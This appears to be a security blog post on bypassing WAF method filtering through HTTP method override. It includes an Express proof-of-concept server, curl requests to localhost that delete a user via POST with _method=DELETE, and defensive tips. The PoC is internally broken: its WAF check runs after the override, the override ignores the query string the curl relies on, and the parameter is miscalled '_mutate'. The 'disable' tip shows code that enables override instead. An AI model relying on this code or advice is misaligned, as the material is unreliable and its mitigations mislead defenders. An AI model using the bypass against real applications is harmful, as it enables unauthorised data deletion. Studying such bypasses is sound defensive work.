Introduction
Most Web Application Firewalls (WAFs) and API Gateways proudly advertise “method-based protection.”
They block destructive HTTP verbs such as DELETE, PUT, or PATCH from untrusted sources, believing this is enough to prevent harmful actions.
But what happens when the request morphs after the WAF check?
When your Edge WAF thinks it’s a harmless POST, but your backend rewrites it into a DELETE just a few milliseconds later?
The Culprit: HTTP Method Override
To support older browsers that couldn’t send methods other than GET or POST, many web frameworks introduced Method Override.
It allows clients to send an alternate verb using:
- a query parameter like
_method=DELETE - or a header like
X-HTTP-Method-Override: DELETE
Example:
POST /users/42?_method=DELETE HTTP/1.1
Host: example.com
Content-Type: application/json
When this request reaches the application, middleware such as Express’s method-override, Rails’ Rack::MethodOverride, or Spring’s HiddenHttpMethodFilter mutates the request internally:
Original: POST /users/42
After middleware: DELETE /users/42
To the WAF sitting at the edge, this is a simple POST.
To the backend, it’s a destructive DELETE.
The Core Problem
This split in understanding between layers — the edge and the application — creates what we call a Ghost Method:
In a real-world breach, investigators may see only harmless POST requests in WAF logs, unaware that data deletion occurred inside the app.
Real-World Presence
Method override is enabled by default in several frameworks:
Proof of Concept: Mutating Methods in Transit
we have this simple POC server written in express js which uses middleware and lets users query to a simulated database only using GET and POST.
// server.js
const express = require('express');
const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(express.json());
// --- method override (manual, no dependency) ---
app.use((req, res, next) => {
const fromBody = req.body && req.body._method;
const fromHeader = req.headers['x-http-method-override'];
const override = fromBody || fromHeader;
if (override) req.method = String(override).toUpperCase();
next();
});
// --- simulated (WAF) ---
app.use((req, res, next) => {
req.originalMethod = req.method;
if (req.method === 'DELETE') return res.status(405).send('WAF: DELETE blocked');
next();
});
const USERS = new Map([['42', { id: '42', name: 'alice' }]]);
app.delete('/users/:id', (req, res) => {
const existed = USERS.delete(req.params.id);
res.json({ action: 'DELETE', existed, edgeMethod: req.originalMethod, appMethod: req.method });
});
app.get('/users/:id', (req, res) => res.json({ user: USERS.get(req.params.id) || null }));
app.listen(3000, () => console.log('Vuln on :3000'));
We have the server running on port 3000.
we can query for the user.
curl -s http://localhost:3000/users/42 | jq
if we send DELETE as a HTTP method it gets blocked by the WAF.
curl -s -X DELETE http://localhost:3000/users/42
but this can be bypassed via POST+override (edge sees POST, app deletes), it can either be done by appending _mutate=DELETE at the end of URL as _method parameter is part of a method override mechanism a design choice made decades ago for HTML forms.
Or we can simply add X-HTTP-Method-Override: DELETE header in the POST request which the application accepts
curl -s -X POST 'http://localhost:3000/users/42?_method=DELETE' | jq
verifying user existence: we can see the user Alice got deleted.
Defensive Strategies
1. Disable Method Override for Public Endpoints
If you don’t need it, remove it entirely.
app.use(require('method-override')());
2. Strip Override Indicators at the Edge
Configure WAF or reverse proxy to drop requests containing:
_method=DELETE|PUT|PATCHX-HTTP-Method-Overrideheaders
3. Log Both Methods
Always log both the original and effective HTTP methods:
req.originalMethod // from edge
req.method // after override
Conclusion
HTTP method override is a legacy convenience that became a modern blind spot. When your edge and backend disagree on what a request truly is, security controls dissolve into illusion. Audit your frameworks, disable _method where possible, and make sure your WAF and application speak the same language—because a POST that behaves like a DELETE is not a feature; it’s a breach waiting to happen.
THANKS for reading.. Do follow if you liked this article and follow for more :)